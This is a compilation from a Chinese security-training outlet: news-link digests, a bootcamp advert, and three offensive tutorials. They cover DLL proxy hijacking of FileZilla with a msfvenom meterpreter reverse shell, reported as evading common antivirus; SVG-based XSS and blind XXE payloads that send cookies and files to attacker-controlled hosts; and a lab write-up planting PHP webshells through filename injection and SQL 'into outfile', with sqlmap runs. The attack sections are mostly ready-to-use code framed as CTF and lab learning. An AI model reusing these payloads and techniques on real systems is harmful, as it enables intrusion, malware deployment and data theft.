网络安全日报 2020年11月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、勒索软件运营商可能利用最新WebLogic漏洞
https://www.securityweek.com/recent-weblogic-vulnerability-likely-exploited-ransomware-operators
2、朝鲜黑客利用Torisma间谍软件进行攻击
https://thehackernews.com/2020/11/north-korean-hackers-used-torisma.html
3、英国房产商Flagship遭受勒索软件攻击
https://www.theregister.com/2020/11/06/revil_sodinokibi_ransomware_gang_flagship_group_housing/
4、巴西高等司法法院遭受大规模勒索软件攻击
https://www.hackread.com/ransomware-attack-brazil-top-court-encrypts-backups/
5、黑客正积极利用Oracle的RCE漏洞部署Cobalt Strike
https://www.bleepingcomputer.com/news/security/critical-bug-actively-used-to-deploy-cobalt-strike-on-oracle-servers/
6、7500个组织的网络访问权限在多个黑客论坛上出售
https://cybernews.com/security/7500-educational-organizations-hacked-access-being-sold-on-russian-hacker-forums/
7、NETGEAR路由器和WD NAS设备在 Tokyo 2020上被攻破
https://www.securityweek.com/netgear-router-wd-nas-device-hacked-first-day-pwn2own-tokyo-2020
8、与丝绸之路相关的价值10亿美元的比特币被没收
https://www.securityweek.com/us-seizes-1-billion-worth-bitcoin-connected-silk-road
9、勒索软件运营商要求Capcom支付1100万美元
https://www.securityweek.com/hackers-demand-11-million-capcom-after-ransomware-attack
10、Gitpaste-12蠕虫针对Linux服务器和IoT设备
https://threatpost.com/gitpaste-12-worm-linux-servers-iot-devices/161016/
DLL代理转发与维权、提权
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014051614203800001&pk_campaign=heetian-wemedia(通过本实验的学习掌握特征码免杀技术。)
最近看了一些免杀,这一篇小白文章,大佬绕过。知识按照自己的知识整理和写出来的。
DLL劫持
再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。但不是所有的dll都会被写入这个注册表,因此就会产生DLL劫持。
使用msfvenom生成的dll直接秒杀。
SharpDllProxy
听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.
前言
先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:
实验过程
目标程序
花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:
那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。
生成shellcode
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
实验开始
首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。
直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案
使用SharpDllProxy.dll生成一个假冒的libnettle-8.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。
来分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。
到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。这里是按照二进制的方式读入然后使用VirtualAlloc内存操作执行shellcode。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。
使用 VS 编译上面的C文件。文件---》新建---》项目---》动态链接库--》项目名为 libnettle-8。复制上面的C文件代码到VS中编译
将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。
使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。
浅谈SVG的两个黑魔法
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78&pk_campaign=heetian-wemedia(XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意的外部文件,可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习,你将掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。)
前言
之前在CTF比赛中遇到了一些关于SVG造成的安全问题,多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用,拓展了我的攻击面。
SVG简介
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
SVG造成XSS
直奔主题
我们在一张SVG图片里面插入一个JavaScript代码。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
我们用浏览器打开它会发现它会造成XSS。
刨根问底
为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。
可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。
那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。
CTF中的应用场景
XSSME
题目地址:https://xssrf.hackme.inndy.tw/
本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:
<script
)
onmouseover
空格onload
空格onerror
<iframe
我们这里可以考虑用SVG标签来进行XSS,比如:
<svg/onload=alert(1)>
这里我们可以发送到VPS测试一下是否有效
<svg/onload="document.location='http://vps-ip:1234'">
vps成功接收到信息
然后再获取cookie即可
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">
Teaser Confidence CTF 2019:Web 50
本题是一道比较经典的利用svg去构造xss的题目,但是由于题目并没有开源,所以没办法复现,这里主要学习他的思路。
根据题目描述,有两个功能,一个是报告BUG,一个是修改个人信息,然后管理员会查看该域名下的某处页面,这里主要是通过xss获取admin页面Secret表单的值来获取flag。
在个人资料页面中,我们可以将头像上传到服务器,服务器将检查此文件是否为有效图像,并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html,然后上传。但是,HTTP内容类型仍为image/png,那么这里有个问题就是如果内容类型为image/png,则将此链接发送给admin不会触发XSS有效负载。
所以这里就可以使用svg作为媒介来构造xss,去获取secret的值,这里直接贴一下payload
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve">
...
<g>
<polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://xxxx.burpcollaborator.net/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script>
</g>
...
</svg>
这里使用了burpcollaborator来外带数据,Burp Suite在1.7之后的版本自带了这个功能,获取burpcollaborator的地址如图所示:
最后在Reportbug处提交图片即可获得flag,这里借用一下郁离歌师傅的图。
SVG造成XXE
前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。
CTF中的应用场景
这里从两道经典的CTF题目来学习如何XXE并且结合SVG,这里分为有回显和无回显两种情况。
有回显的情况
svgmagic(BsidesSF CTF 2019)
github题目源码:传送门
buu平台也有上这道题目
打开页面
打开页面就提示Convert SVG to PNG with Magic
这里我们首先想到的思路就是文件上传那些步骤,一句话木马以及.htaccess等等,但是多次上传利用无果,因为会报一个500的错误,这里的话可以利用SVG配合XXE去读取他的一个文件。
我们直接读取/etc/passwd试一下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
我们把上面这段代码保存为1.svg,并上传。
可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。
还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。
最后payload如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
我们保存为2.svg上传,发现成功读取到flag。
无回显的情况
在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:
先在本地PHPStudy写入无回显处理XML的代码
xml.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
然后在自己的VPS上放置
xml.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
这里有几个需要注意的点:
ip换成自己的vps的ip
这里的%会被xml解析成%,如果直接用%的话我本地会报错。
注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。
最后我们POST提交的payload
<?xml version="1.0"?>
<!DOCTYPE Note [
<!ENTITY % remote SYSTEM "http://ip/xml.dtd">
%remote;
%start;
%send;
]>
这里的ip同样换成自己的vps的ip
下一步在VPS上开启监听1234端口
nc -lvp 1234
然后我们抓xml.php的POST包并发送payload
可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。
我们来梳理一下他的整个调用过程
1.首先我们payload中的% remote去获取vps上的xml.dtd
2.然后xml.dtd中的% start去调用% file
3.% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
4.最后通过% send将数据发送到vps监听的1234端口上5.
这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:
svgggggg!(DozerCTF2020)
这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。
题目给的两个hint:
▲ 用户r1ck的操作记录在哪儿来着
▲ 如果你发现了sql注入,直接getshell吧,flag在/app目录里
复现过程如下:
打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type!
我们先写一个简单的SVG图片源码放在vps上,保存为1.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&file;</text>
</svg>
提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file SYSTEM "file:///home/r1ck/.bash_history">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&files;</text>
</svg>
页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。
构造1.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>
构造xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:
cd /app
php -S 0.0.0.0:8080
可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">
读取到源码如下:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
$id = $_GET['id'];
}
else
$id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>
发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。
http://127.0.0.1:8080/index.php?id=-1%27 union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#
写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。
读取文件目录:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">
读取flag:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
总结
SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:
https://svg.digi.ninja/
https://github.com/digininja/svg_xss
参考链接
http://yulige.top/?p=665
https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html
网络安全日报 2020年11月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Maze勒索软件的客户开始利用Egregor作为的替代品
https://www.zdnet.com/article/as-maze-ransomware-group-retires-clients-turn-to-sekhmet-ransomware-spin-off-egregor/
2、研究人员发现了Windows中的特权提升漏洞
https://www.securityweek.com/games-microsoft-store-can-be-abused-privilege-escalation-windows
3、切萨皮克地区2.3万份医疗保健数据遭到泄露
https://www.wtkr.com/news/chesapeake-regional-healthcare-alerts-over-23k-patients-after-data-security-incident
4、谷歌本周公开了影响GitHub Actions的漏洞详细信息
https://www.securityweek.com/google-discloses-details-github-actions-vulnerability
5、趋势科技修复了IMSA产品中多个漏洞
https://www.securityweek.com/trend-micro-patches-vulnerabilities-interscan-messaging-security-product
6、苹果发布了iOS 14.2,修复了三个被利用的0 day漏洞
https://securityaffairs.co/wordpress/110462/hacking/apple-ios-zero-days.html
7、过去12个月超过1200家公司的VoIP服务器被入侵滥用
https://thehackernews.com/2020/11/premium-rate-phone-fraudsters-hack-voip.html
8、黑客泄露了5.22GB的Mashable数据库
https://www.hackread.com/shinyhunters-hacker-leaks-mashable-database/
9、Git LFS存在高危漏洞可导致Windows的系统被入侵
https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/
10、研究人员发现用于数据分析的容器镜像存在大量漏洞
https://www.darkreading.com/application-security/containers-for-data-analysis-are-rife-with-vulnerabilities/d/d-id/1339372
网络安全日报 2020年11月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、著名的玩具制造商美泰披露受到勒索软件攻击
https://www.bleepingcomputer.com/news/security/leading-toy-maker-mattel-hit-by-ransomware/
2、新的RegretLocker勒索软件针对Windows虚拟机
https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/
3、谷歌发布了Android操作系统的每月补丁程序
https://www.securityweek.com/google-patches-30-vulnerabilities-november-2020-android-updates
4、黑客团伙利用Solaris的0day漏洞破坏企业网络
https://www.zdnet.com/article/hacker-group-uses-solaris-zero-day-to-breach-corporate-networks/
5、自动化软件销售商SaltStack修复了三个错误
https://www.theregister.com/2020/11/04/saltstack_security/
6、VMware修复了严重的VMware ESXi漏洞
https://www.securityweek.com/patch-critical-vmware-esxi-vulnerability-incomplete
7、日本视频游戏公司Capcom受网络攻击
https://securityaffairs.co/wordpress/110423/hacking/capcom-hit-by-cyberattack.html
8、思科披露了Cisco AnyConnect移动客户端0day漏洞及Poc
https://securityaffairs.co/wordpress/110414/security/zero-day-cisco-anyconnect-secure-mobility-client.html
9、REvil Ransomware成员买下了信息窃取软件KPot的源代码
https://securityaffairs.co/wordpress/110407/malware/revil-ransomware-kpot-stealer.html
10、Cit0day.in泄露了23,600个被黑数据库
https://www.zdnet.com/article/23600-hacked-databases-have-leaked-from-a-defunct-data-breach-index-site/
网络安全日报 2020年11月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Oracle Solaris系统 0day漏洞被利用
https://threatpost.com/oracle-solaris-zero-day-attack/160929/
2、Adobe修复了Acrobat和Reader中的多个高危漏洞
https://threatpost.com/adobe-windows-macos-critical-acrobat-reader-flaws/160903/
3、Google修补了多个Chrome高危漏洞
https://www.securityweek.com/google-patches-actively-exploited-chrome-vulnerabilities
4、npm安全团队删除了一个名为“ twilio-npm”的恶意库
https://securityaffairs.co/wordpress/110348/malware/npm-library-backdoor.html
5、FireEye发布了一款用于威胁情报分析的虚拟机
https://www.zdnet.com/article/fireeye-releases-threatpursuit-a-windows-vm-for-threat-intel-analysts/
6、Ryuk在2020年所有勒索软件攻击中占三分之一
https://www.helpnetsecurity.com/2020/11/03/ryuk-ransomware-2020
7、CERT / CC在Twitter上启用了CVE ID名称生成机器人
https://www.securityweek.com/certcc-seeks-remove-fear-element-named-vulnerabilities
8、2020年公开记录的数据泄露已达360亿条
https://cisomag.eccouncil.org/2020-is-the-worst-year-on-record-in-terms-of-data-breaches-survey
9、Wroba手机银行木马针对美国用户
https://www.scmagazine.com/home/security-news/wroba-mobile-banking-trojan-targets-us-smartphones
10、从第二季度到第三季度Emotet木马攻击激增了1200%以上
https://www.infosecurity-magazine.com/news/ransomware-alert-as-emotet/
返“利”数百倍,攻略冒险分享中!
黑客入门必修训练营
第七期开学典礼
就在11月3日15:00-15:45
3天直播课全勤到课
即可获得全勤奖现金红包9.9元
学习还能拿钱,这样操作了解一下
01 0基础萌新学习建议
网络安全其实相对来说入门比较友好。圈内搞网络安全的很多都是其他专业转入,看下图你可能更清晰:
怎么入门网络安全
网络安全学习,一般均从Web安全入手,这个学习路径可以参考:
Web安全入门学习路径
至于其他的学习资料,你可能已经尝试过在先知社区、CSDN等安全社区寻找文章或视频,最终都会发现:基础入门的资源很多,质量良莠不齐,自学的效率并不高。
而作为一个萌新小白,在学习过程中可能会遇到各种各样奇奇怪怪的情况,基于此,我们开设了一门——3天《黑客入门必修训练营》的课程,本号粉丝限时福利:2人团购仅需2分钱即可报名。
训练营的周期为11月3日-11月5日下午3点到4点,心急的小伙伴可以直接扫码解锁!
11月3日下午15:00将进行第一节课开学典礼!!!
只需要2分钱你就能系统学习,收获CSRF漏洞从入门到进阶实战训练+7天高质量社群服务+专业老师答疑+配套靶场实战巩固,还能获取全勤奖现金红包+独家资料大礼包!
如果你对训练营不太了解,请继续往下看。
02 训练营主要讲什么
本次训练营为期3天,你将在训练营了解到网络安全的行业前景及学习规划、明确今后的学习方向,还能从0基础学习CSRF到进阶学习,具体课程安排如下:
本次课程提供
1.课程永久回放,供你重复观看,可稳固知新
2.配套课程课后靶场作业:学员完成课后靶场作业,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!
3.答疑服务,高质量的Web安全学习社群,班级群内分享前沿知识,跟一群人行走,你能走得更远
4.全勤奖+独家学习资料包
扫码领取资料及靶场地址
本课程适合想入门渗透测试的同学参加,学习过程中,同学们千万不要放弃,三天按时进行学习,同时学习的过程中要记录图文并茂的笔记,最重要的进行实践,实践,实践,所以课后靶场实战作业一定一定要按时完成。
03 报名训练营小惊喜
除了优质的课程内容,我们还给大家准备了小惊喜——全勤奖励
全勤奖
3天直播课全勤到课,即可获得全勤奖,全勤奖奖励为现金红包9.9元,学习还能拿钱,快来参与吧,名额不限哟!除此之外,报名训练营,我们还提供独家资料包。
福利!
如果你已报名本次课程,想要更多的网络安全学习工具及学习资料,扫描下方二维码后发送报名截图并回复【安全学习】领取。(希望领取了资料的同学们,能把资料真正的用起来,而不是直接打入冷宫!)
同时,如果你想看看自己适不适合入门网络安全,也可以扫描二维码,我们有一套完整的测试体系可以帮助你。
扫码领取学习资料
2分钱 = 掌握网络安全行业前景 + 网络安全学习路径 + CSRF漏洞0基础到精通 + 全勤奖(9.9元现金红包) + 网络安全独家工具及资料包
记一次某众测的考核
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114390500001&pk_campaign=heetian-wemedia(介绍SQL注入原理并解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。)
前言
最近没什么事,于是报名了某众测,填了资料主办方给了个靶场要考核,这里分享一下靶场考核中的解题过程,一共十道题目,难度也不算太难,但也有一些题没做出来,最后也是顺利的通过了考核。
前戏
首先考核要答一些选择题和判断题,没什么好说的,主办方要求连了vpn没法上外网,但是都是一些基础的网络安全问题,随便答答就过了,接下来就是靶场的题目了。
靶场题目
第一题
WeSec微信公众号
提示:用IPAD手机的2G网络上网
很明显改改UA头就行了,直接搜一下UA头,替换上去。
改UA头
GET /mp_weixin_qq_com.php HTTP/1.1
Host: 119.3.225.8:41064
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://119.3.225.8:41064/index.html
Upgrade-Insecure-Requests: 1
返回
mozhe64d25d173bdbae7366b76e0798a
第二题
易学车智能考试系统
扫目录发现/admin
爆破弱口令admin和admin888登录后台,发现后台是一个保存文件的功能,这里可以直接读取备份文件bak_wwwroot.zip的源码,关键代码如下:
<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空为本目录)<br>文件保存名称:
<input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br>
<input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>">
<input name="myaction" type="hidden" id="myaction" value="dozip">
<input type="submit" name="Submit" class="sub" value=" 开始备份">
function createfile(){
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
pack('v', $this -> file_count) .
pack('v', $this -> file_count) .
pack('V', $this -> dirstr_len) .
pack('V', $this -> datastr_len) .
"\x00\x00";
fwrite($this->fp,$this->dirstr.$endstr);
fclose($this->fp);
}
}
if(is_array($_REQUEST[dfile])){
$faisunZIP = new PHPzip;
if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){
echo "正在添加备份文件...<br><br>";
$filenum = 0;
foreach($_REQUEST[dfile] as $file){
if(is_file($file)){
echo "文件: $file<br>";
}else{
echo "目录: $file<br>";
}
$filenum += listfiles($file);
}
$faisunZIP -> createfile();
echo "<br>备份完成,共添加 $filenum 个文件.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";
}else{
echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>";
}
}else{
echo "没有选择的文件或目录.<br>";
}
endif;
?>
审计代码,这里的dfile参数任何的过滤,尝试修改一下dfile的值,惊喜的发现可以读取任意文件,并写入bak_wwwroot.zip,下载bak_wwwroot.zip就可以读取了。
dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
虽然知道可以读取任意文件,但是不知道key是放在哪个地方,于是这里又卡了一下,但是转头一想,这里是写一个文件名并压缩进文件里面,老CTFer都知道做msic的时候,文件名会写入压缩包里面,于是写一个一句话木马,并把bak_wwwroot.zip改为bak_wwwroot.php试一下,没想到成功了。
dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
读取目录下所有文件目录
http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../
读取key
http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt
第三题
数字校园
提示:浏览器类型要是IPAD,以及要用英文,分辨率要1024*768
和第一题一样的套路
不过这里要改下
■Accept-Language为en,zh;q=0.8,en-us;q=0.5,en;q=0.3
■ Cookie为screenX=1024; screenY=768
第四题
网站文件备份服务器
虽然页面和第二题不同,但是扫目录同样扫出了是一样的后台,爆破弱口令,然后发现admin和admin,剩下的就和之前的步骤是一样的了,写一个马然后读key。
dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
第五题
教学器械采购平台
一道命令执行的题,有个输入框
随便fuzz一下,发现过滤了&&和空格
于是&&用&&替代绕过,空格用<替代绕过
先用ls读取文件目录
iipp=127.0.0.1&&ls&submit=Ping
然后再读取key即可
第六题
教学质量评价系统
发现有个注入点
http://119.3.177.25:41204/show.php?id=MQ0=
测试了一下发现是base64盲注,用tamper指定base64编码,直接丢sqlmap里面跑一下。
这里要注意的是这个靶场不太稳定,我们用sqlmap有个小问题就是盲注的时候他会根据响应速度来调整发送包的速度,太快了可能网站会崩,所以sqlmap会增加延迟,让他更像是人手工在注入,我觉得慢就断开了,但是如果不清理缓存每次重来就是从上一次继续,所以这里的话加上fresh-queries,再加上batch自动确认。
跑数据库
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --dbs --dump --batch --fresh-queries
跑表名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --tables -D test --dump --batch --fresh-queries
跑列名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries
最后payload如下
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries
直接跑出key
第七题
XWAY科技管理系统
平台停机维护的通知存在注入,发现注入点在
http://119.3.225.8:41046/new_list.php?id=1
继续sqlmap跑起来,
跑数据库
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch
最后payload
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch
跑出两个账号密码
■ mozhe/528469
■ mozhe/888054
登录之后,即可拿到key。
第八题
XWAY电脑采购系统
随便看了发现到一个注入点
http://119.3.187.27:41144/new_list.php?id=1
发现是union注入,依旧尝试用sqlmap
